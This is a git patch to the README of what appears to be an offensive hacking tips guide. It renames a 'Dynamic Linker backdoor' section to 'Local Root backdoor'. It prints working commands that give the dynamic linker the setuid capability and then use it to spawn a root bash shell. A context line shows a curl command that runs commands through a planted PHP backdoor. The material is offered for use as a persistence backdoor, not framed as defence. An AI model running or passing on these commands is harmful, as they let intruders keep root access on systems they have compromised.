From 5083b412fa739adf43282ede48d7c0404ee2e859 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 30 May 2023 08:36:03 +0100 Subject: [PATCH] Update README.md --- README.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index d2cb56a..8c3d710 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [authorized_keys](#backdoor-auth-keys) 1. [Remote access an entire network](#backdoor-network) 1. [Smallest PHP backdoor](#carriage-return-backdoor) - 1. [Dynamic Linker backdoor](#ld-backdoor) + 1. [Local Root backdoor](#ld-backdoor) 1. [Shell Hacks](#shell-hacks) 1. [Shred files (secure delete)](#shred) 1. [Restore the date of a file](#restore-timestamp) @@ -1103,14 +1103,16 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" ``` -**6.v. Dynamic Linker Backdoor** +**6.v. Local Root Backdoor** -Give the setuid capability to the dynamic linker: +Stay root once you got root ```bash -sudo setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +### Execute as root user +setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ``` -Then to become root: +Become root ```bash +### Execute as non-root user /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' ```